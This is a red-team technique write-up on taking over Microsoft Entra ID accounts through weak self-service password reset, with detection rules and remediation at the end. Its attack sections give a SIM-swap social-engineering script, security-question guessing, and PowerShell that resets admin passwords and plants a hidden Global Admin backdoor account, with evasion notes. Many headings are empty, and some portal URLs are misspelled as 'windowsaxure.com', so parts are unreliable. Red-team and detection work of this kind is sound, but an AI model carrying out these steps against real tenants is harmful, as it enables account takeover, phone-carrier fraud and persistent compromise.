Full File Path: 04_PrivEsc/PE-ACCTMGMT-013_SSPR.md
| Attribute | Details |
|---|---|
| Technique ID | PE-ACCTMGMT-013 |
| MITRE ATT&CK v18.1 | T1098.001 - Additional Cloud Credentials |
| Tactic | Privilege Escalation (TA0004) |
| Platforms | Cloud (Azure/Entra ID), Hybrid (with password writeback) |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | All Entra ID deployments; Azure AD with SSPR enabled; Microsoft 365 with SSPR; Azure AD Connect 1.4.0+ with password writeback |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Self-Service Password Reset (SSPR) misconfiguration attacks exploit weak verification methods and insufficient MFA enforcement to reset user and administrative account passwords without proper authentication. An attacker can leverage vulnerable recovery mechanisms (SMS/security questions), combined with social engineering or telecom-level attacks (SIM swapping), to compromise accounts and escalate privileges. The attack becomes particularly critical when targeting accounts scheduled to receive Global Administrator role assignments via PIM, allowing the attacker to gain elevated access before role activation occurs.
Attack Surface:
Business Impact: An attacker with SSPR access can reset passwords for cloud and hybrid user accounts, including administrative accounts, achieving complete account takeover. If combined with SIM swapping, an attacker can compromise even accounts with SSPR enabled. For future Global Admins waiting for PIM role activation, password reset enables the attacker to own the account before privileges are activated.
Technical Context: Password resets via SSPR typically complete in seconds to minutes. If weak verification methods (SMS/security questions) are enabled, resets require only compromised phone number or guessed answers. The reset is immediately logged in Entra ID audit logs with the specific verification methods used, but many organizations lack real-time alerting. Multi-factor SSPR (2+ methods) significantly raises the bar but is not enforced by default for non-admin accounts.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.3.1 | SSPR must require multi-factor verification (minimum 2 methods) for all users. |
| DISA STIG | V-72983 | Multi-factor authentication required for password resets; SMS alone insufficient. |
| CISA SCuBA | MS.AAD.4.1 | SSPR must require multiple authentication methods; SMS phone not sole method. |
| NIST 800-53 | IA-2, IA-4 | Identification and Authentication; Authentication Strength for privilege elevation. |
| NIST 800-207 | Zero Trust | Continuous verification; assume compromise of single factors (SMS). |
| GDPR | Art. 32 | Security of Processing; strong authentication controls for account recovery. |
| DORA | Art. 9 | Protection and Prevention; secure credential management. |
| NIS2 | Art. 21 | Cyber Risk Management; strong authentication for sensitive accounts. |
| ISO 27001 | A.9.4.2 | Secure Authentication; MFA for account recovery. |
| ISO 27005 | Risk Scenario: “Credential Compromise via Weak Recovery” | Account compromise via insecure password reset methods. |
Supported Versions:
Tools:
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Identity.Read.All", "Directory.Read.All"
# Check SSPR policy status
$sspr = Get-MgBetaIdentitySelfServicePasswordResetPolicy
Write-Host "SSPR Enabled for All Users: $($sspr.IsEnabled)"
Write-Host "Number of Authentication Methods Required: $($sspr.NumberOfAuthenticationMethodsRequired)"
# Enumerate authentication methods required
if ($sspr.NumberOfAuthenticationMethodsRequired -eq 1) {
Write-Host "WARNING: Single authentication method required - VULNERABLE TO SIM SWAP"
} elseif ($sspr.NumberOfAuthenticationMethodsRequired -ge 2) {
Write-Host "GOOD: Multiple authentication methods required"
}
What to Look For:
# Get authentication methods policy
$policy = Get-MgBetaPolicyAuthenticationMethodsPolicy
# Check which methods are enabled for SSPR
$policy.AuthenticationMethodConfigurations | Where-Object { $_.Id -match "sms" -or $_.Id -match "email" -or $_.Id -match "security" } | ForEach-Object {
Write-Host "Method: $($_.DisplayName), Enabled: $($_.State)"
}
# Specifically check for SMS (most vulnerable)
$sms = $policy.AuthenticationMethodConfigurations | Where-Object { $_.Id -eq "sms" }
if ($sms.State -eq "enabled") {
Write-Host "CRITICAL: SMS authentication enabled - vulnerable to SIM swapping"
}
What to Look For:
# Connect with elevated permissions
Connect-MgGraph -Scopes "RoleManagement.Read.Directory", "Directory.Read.All"
# Get all upcoming role assignments
$eligibleAssignments = Get-MgRoleManagementDirectoryRoleEligibilitySchedule -All
# Filter for future activations (start date in future)
$eligibleAssignments | Where-Object { $_.StartDateTime -gt (Get-Date) } | Select-Object `
PrincipalId, RoleDefinitionId, StartDateTime | ForEach-Object {
$user = Get-MgUser -UserId $_.PrincipalId -ErrorAction SilentlyContinue
$role = Get-MgDirectoryRole -DirectoryRoleId $_.RoleDefinitionId -ErrorAction SilentlyContinue
Write-Host "User: $($user.UserPrincipalName), Role: $($role.DisplayName), StartDate: $($_.StartDateTime)"
}
What to Look For:
# Using Azure CLI to check SSPR configuration
az rest --method GET \
--uri "https://graph.microsoft.com/beta/policies/authenticationMethodsPolicy" \
--headers "Content-Type=application/json" | jq '.authenticationMethodConfigurations[] | select(.id | test("sms|email|securityQuestion"))'
# Check if user has SSPR enabled
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/users/{USER_ID}/authentication/methods" | jq '.value[] | {id, type}'
What to Look For:
Supported Versions: All Entra ID with SSPR enabled and misconfigured to allow single authentication method
Objective: Determine which SSPR verification method the target user has registered.
Command (via SSPR Portal):
Open browser and navigate to: https://account.activedirectory.windowsazure.com/PasswordReset/
globaladmin@company.onmicrosoft.com)What to Look For:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Reset the target user’s password using the vulnerable verification method.
Scenario A: SMS-Based Password Reset (Vulnerable to SIM Swap)
Command (Attacker’s Browser):
1. Navigate to: https://account.activedirectory.windowsazure.com/PasswordReset/
2. Enter target UPN
3. Select "I can't access my authenticator app" or similar
4. Choose "Text me a code" (if available)
5. Attacker receives SMS OTP on their phone (if they've successfully SIM-swapped)
6. Enter OTP
7. Set new password: "AttackerP@ssw0rd123!"
8. Click "Finish"
What This Means:
OpSec & Evasion:
Scenario B: Security Question-Based Reset (Vulnerable to Guessing)
1. Navigate to: https://account.activedirectory.windowsaxure.com/PasswordReset/
2. Enter target UPN
3. Select "I can answer my security questions"
4. Answer the security questions (attacker researches answers via LinkedIn, Facebook, public records)
- Question: "What was the name of your first pet?"
- Public research: User's Instagram shows pet name
- Answer: "Fluffy"
5. If 2 questions required, research both answers
6. Set new password
7. Click "Finish"
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Confirm password reset worked and create persistent backdoor.
Command:
# Test compromised credentials
$cred = New-Object System.Management.Automation.PSCredential("globaladmin@company.onmicrosoft.com", (ConvertTo-SecureString "AttackerP@ssw0rd123!" -AsPlainText -Force))
# Connect as compromised user
Connect-MgGraph -Credential $cred -Scopes "Directory.Read.All", "RoleManagement.Read.Directory"
# Verify access
Get-MgContext | Select-Object Account, Tenant
# Create backdoor service account (if Global Admin)
$backdoor = New-MgUser -DisplayName "System Compliance Account" `
-MailNickname "syscompliance" `
-UserPrincipalName "syscompliance@company.onmicrosoft.com" `
-PasswordProfile @{ Password = "B@ckd00rP@ss!" } `
-AccountEnabled $true
# Assign Global Admin role
New-MgRoleManagementDirectoryRoleAssignment `
-RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" `
-PrincipalId $backdoor.Id `
-DirectoryScopeId "/"
Write-Host "Backdoor established: syscompliance@company.onmicrosoft.com"
Expected Output:
Account: globaladmin@company.onmicrosoft.com
Tenant: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Backdoor established: syscompliance@company.onmicrosoft.com
What This Means:
Supported Versions: All Entra ID with SMS-based SSPR enabled
Objective: Convince telecom support that attacker owns the target’s phone number and should receive their SIM card.
Process (Non-Technical):
1. Research target user's phone details:
- Phone carrier (AT&T, Verizon, etc.) - visible in LinkedIn, social media, or obtained via OSINT
- Account holder name (from LinkedIn profile)
- Potential account number (may be implied or guessed)
2. Contact telecom support via phone
- Claim to have lost SIM card or bought new phone
- Request SIM swap / phone number transfer
- Provide information about "your account"
3. Telecom support verifies identity via:
- Last 4 digits of phone number (you claim)
- Account PIN (guess or social engineer)
- Last phone call details (may be able to guess)
- Address associated with account (research via public records)
4. If verification passes, new SIM card is activated with target's phone number
- This typically takes 15-60 minutes
- Target's legitimate SIM is deactivated
5. Attacker now receives all SMS messages sent to target's number
What to Look For:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Reset password before legitimate user recovers phone service.
Command (Attacker’s Browser, on Compromised Phone with Attacker’s SIM):
1. Open browser on any device (phone with attacker's SIM or other computer)
2. Navigate to: https://account.activedirectory.windowsaxure.com/PasswordReset/
3. Enter target UPN
4. Select "Text me a code"
5. Enter phone number: TARGET_PHONE_NUMBER (your now-SIM-swapped number)
6. SMS arrives on attacker's SIM
7. Enter OTP code
8. Set new password
9. Login to compromised account and create backdoor immediately
What This Means:
OpSec & Evasion:
Supported Versions: All Entra ID with Helpdesk Administrator role assigned
Objective: Obtain valid Helpdesk Admin credentials or impersonate one.
Command:
# Option 1: Attacker has already compromised helpdesk admin account
$helpdesk_cred = New-Object System.Management.Automation.PSCredential("helpdesk@company.onmicrosoft.com", (ConvertTo-SecureString "Compromised_Password" -AsPlainText -Force))
Connect-MgGraph -Credential $helpdesk_cred -Scopes "Directory.Read.All", "UserAuthenticationMethod.ReadWrite.All", "Directory.ReadWrite.All"
# Verify Helpdesk role
$user = Get-MgUser -UserId "helpdesk@company.onmicrosoft.com"
$roles = Get-MgUserMemberOf -UserId "helpdesk@company.onmicrosoft.com"
$roles | Where-Object { $_.DisplayName -contains "Helpdesk" }
What to Look For:
Objective: Find user who has or will have elevated privileges but is currently reset-able by Helpdesk Admin.
Command:
# Get all users assigned to Password Administrator role (example escalation target)
$passwordAdmins = Get-MgDirectoryRole -Filter "displayName eq 'Password Administrator'" | `
Get-MgDirectoryRoleMember
# Get all users eligible for Global Admin in future (PIM targets)
$futureGlobalAdmins = Get-MgRoleManagementDirectoryRoleEligibilitySchedule -Filter "roleDefinitionId eq '62e90394-69f5-4237-9190-012177145e10'"
$futureGlobalAdmins | ForEach-Object {
$user = Get-MgUser -UserId $_.PrincipalId
Write-Host "Target: $($user.UserPrincipalName), Activation Date: $($_.StartDateTime)"
}
What to Look For:
Objective: Reset target’s password to attacker-controlled value using Helpdesk Admin authority.
Command:
# Get the target user
$targetUser = Get-MgUser -Filter "userPrincipalName eq 'target@company.onmicrosoft.com'"
# Reset their password via Microsoft Graph
$password = "NewElevatedUserPassword123!"
$params = @{
passwordProfile = @{
forceChangePasswordNextSignIn = $false
password = $password
}
}
Update-MgUser -UserId $targetUser.Id -BodyParameter $params
Write-Host "Password reset successful for: $($targetUser.UserPrincipalName)"
Write-Host "New password: $password"
Expected Output:
Password reset successful for: target@company.onmicrosoft.com
New password: NewElevatedUserPassword123!
What This Means:
OpSec & Evasion:
Objective: If target is Password Administrator, use their role to reset Global Admin account before PIM activation.
Command:
# Login as target user (who has Password Admin role)
$target_cred = New-Object System.Management.Automation.PSCredential("target@company.onmicrosoft.com", (ConvertTo-SecureString "NewElevatedUserPassword123!" -AsPlainText -Force))
Connect-MgGraph -Credential $target_cred -Scopes "Directory.Read.All", "UserAuthenticationMethod.ReadWrite.All", "Directory.ReadWrite.All"
# Find Global Admin account (the one scheduled for future PIM activation)
$futureGlobalAdmin = Get-MgRoleManagementDirectoryRoleEligibilitySchedule -Filter "roleDefinitionId eq '62e90394-69f5-4237-9190-012177145e10'" | `
Where-Object { $_.StartDateTime -gt (Get-Date) } | Select-Object -First 1
$globalAdminUser = Get-MgUser -UserId $futureGlobalAdmin.PrincipalId
# Reset their password
$newPassword = "PersistencePassword456!"
$params = @{
passwordProfile = @{
forceChangePasswordNextSignIn = $false
password = $newPassword
}
}
Update-MgUser -UserId $globalAdminUser.Id -BodyParameter $params
Write-Host "Global Admin password reset before activation: $($globalAdminUser.UserPrincipalName)"
What This Means:
Command:
Invoke-AtomicTest T1098.001 -TestNumbers 3
Cleanup Command:
Invoke-AtomicTest T1098.001 -TestNumbers 3 -Cleanup
Reference: Atomic Red Team T1098.001
Version: 1.0+ Supported Platforms: Windows, Linux, macOS
Installation:
Install-Module Microsoft.Graph -Scope CurrentUser
Usage - Reset User Password:
Connect-MgGraph -Scopes "Directory.ReadWrite.All"
$params = @{ passwordProfile = @{ password = "NewPassword123!" } }
Update-MgUser -UserId "user@company.onmicrosoft.com" -BodyParameter $params
Version: 2.40.0+ Supported Platforms: Windows, Linux, macOS
Installation:
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
Usage - Get SSPR Policy:
az rest --method GET \
--uri "https://graph.microsoft.com/beta/policies/authenticationMethodsPolicy" | jq '.authenticationMethodConfigurations'
SSPR Portal Direct Access (One-Liner):
Start-Process "https://account.activedirectory.windowsazure.com/PasswordReset/"
Reset Password as Helpdesk Admin (One-Liner):
Connect-MgGraph -Scopes "Directory.ReadWrite.All"; Update-MgUser -UserId "user@company.onmicrosoft.com" -BodyParameter @{passwordProfile=@{password="P@ssw0rd123!"}}
Rule Configuration:
SPL Query:
index=azure_monitor_aad operationName="Reset password (self-service)" result=success
| stats count min(_time) as firstTime max(_time) as lastTime by InitiatedBy.user.userPrincipalName
| rename InitiatedBy.user.userPrincipalName as user
| table user, firstTime, lastTime, count
| where count >= 1
What This Detects:
Rule Configuration:
SPL Query:
index=azure_monitor_aad operationName="Reset password (self-service)" result=success
| mvexpand additionalDetails
| search additionalDetails.key="MethodsUsedForValidation"
| eval methodCount=mvcount(split(additionalDetails.value, ","))
| where methodCount=1
| rename InitiatedBy.user.userPrincipalName as user
| table user, additionalDetails.value
| alert
What This Detects:
Rule Configuration:
SPL Query:
index=azure_monitor_aad operationName="Reset password (self-service)"
| eval targetUser=TargetResources[0].userPrincipalName
| where targetUser IN ("globaladmin@*", "*admin*@*", "*privileged*@*")
| alert
What This Detects:
Rule Configuration:
SPL Query:
index=azure_monitor_aad operationName="Reset password (self-service)"
| stats count min(_time) as firstTime max(_time) as lastTime by TargetResources[0].userPrincipalName
| eval duration=lastTime-firstTime
| where count > 3 AND duration < 1800
| alert
What This Detects:
Applies To Versions: All Entra ID
KQL Query:
AuditLogs
| where OperationName == "Reset password (self-service)"
| extend methodDetails = tostring(AdditionalDetails)
| extend methodsUsed = extract_all(@'MethodsUsedForValidation["\']?\s*[=\:]\s*["\']?([^"\']+)', methodDetails)
| where methodsUsed contains "SMS" or methodsUsed contains "Phone"
| extend Actor = tostring(InitiatedBy.user.userPrincipalName)
| extend Target = tostring(TargetResources[0].userPrincipalName)
| project TimeGenerated, Actor, Target, methodsUsed
What This Detects:
Applies To Versions: All Entra ID
KQL Query:
let helpdeskAdmins = AuditLogs
| where OperationName == "Add member to role completed"
| extend role = tostring(TargetResources[0].displayName)
| where role == "Helpdesk Administrator"
| extend admin = tostring(InitiatedBy.user.userPrincipalName)
| distinct admin;
AuditLogs
| where OperationName == "Reset password (by admin)"
| extend admin = tostring(InitiatedBy.user.userPrincipalName)
| where admin in (helpdeskAdmins)
| extend target = tostring(TargetResources[0].userPrincipalName)
| where target contains "admin" or target contains "privileged"
| project TimeGenerated, admin, target
What This Detects:
Applies To Versions: All Entra ID (requires SigninLogs and AuditLogs)
KQL Query:
let sspr = AuditLogs
| where OperationName == "Reset password (self-service)"
| extend resetUser = tostring(InitiatedBy.user.userPrincipalName)
| extend resetTime = TimeGenerated
| project resetUser, resetTime;
AuditLogs
| where OperationName startswith "Add member to role"
| extend privUser = tostring(TargetResources[0].userPrincipalName)
| extend privTime = TimeGenerated
| join kind=inner (sspr) on $left.privUser == $right.resetUser
| where privTime > resetTime and privTime < (resetTime + 2h)
| project resetTime, privTime, resetUser, OperationName
What This Detects:
| Event ID | Source | Meaning | SSPR Attack Indicator |
|---|---|---|---|
| 4724 | Security (DC) | Password Reset (by admin) | Helpdesk Admin resetting user password |
| 4723 | Security (DC) | Password Change | User changing password via SSPR writeback |
| 4738 | Security (DC) | User Account Changed | Attribute modification from cloud |
| 5136 | Directory Services | Attribute Modified | On-prem AD change from cloud sync |
Audit Rule Configuration:
# Enable auditing for password resets
auditpol /set /subcategory:"Account Management" /success:enable /failure:enable
Note: Sysmon on domain controllers can detect password reset tools.
<Sysmon schemaversion="4.22">
<EventFiltering>
<ProcessCreate onmatch="include">
<Image condition="contains">powershell</Image>
<CommandLine condition="contains">Set-ADAccountPassword</CommandLine>
</ProcessCreate>
<ProcessCreate onmatch="include">
<Image condition="contains">dsmod</Image>
<CommandLine condition="contains">user</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
What This Detects:
# Reset password and force user to change on next login
$params = @{
passwordProfile = @{
forceChangePasswordNextSignIn = $true
password = "RandomP@ssw0rd123!"
}
}
Update-MgUser -UserId "compromised@company.onmicrosoft.com" -BodyParameter $params
# Temporarily disable SSPR until configuration is fixed
Update-MgBetaIdentitySelfServicePasswordResetPolicy -IsEnabled $false
Get-MgUser -UserId "compromised@company.onmicrosoft.com" | Revoke-MgUserSigninSession
# Export SSPR events from last 30 days
$events = Get-MgAuditLogDirectoryAudit -Filter "createdDateTime ge $(Get-Date).AddDays(-30)" | `
Where-Object { $_.OperationName -like "*Reset password*" }
$events | Select-Object CreatedDateTime, InitiatedBy, TargetResources | Export-Csv -NoTypeInformation
# Create CA policy requiring MFA for password reset
# Entra Admin Center → Protection → Conditional Access → New policy
# Target: "Self-Service Password Reset"
# Require: "Passwordless sign-in" authentication strength
Official Microsoft Documentation:
Security Research & Cases:
Detection & Monitoring:
Tools: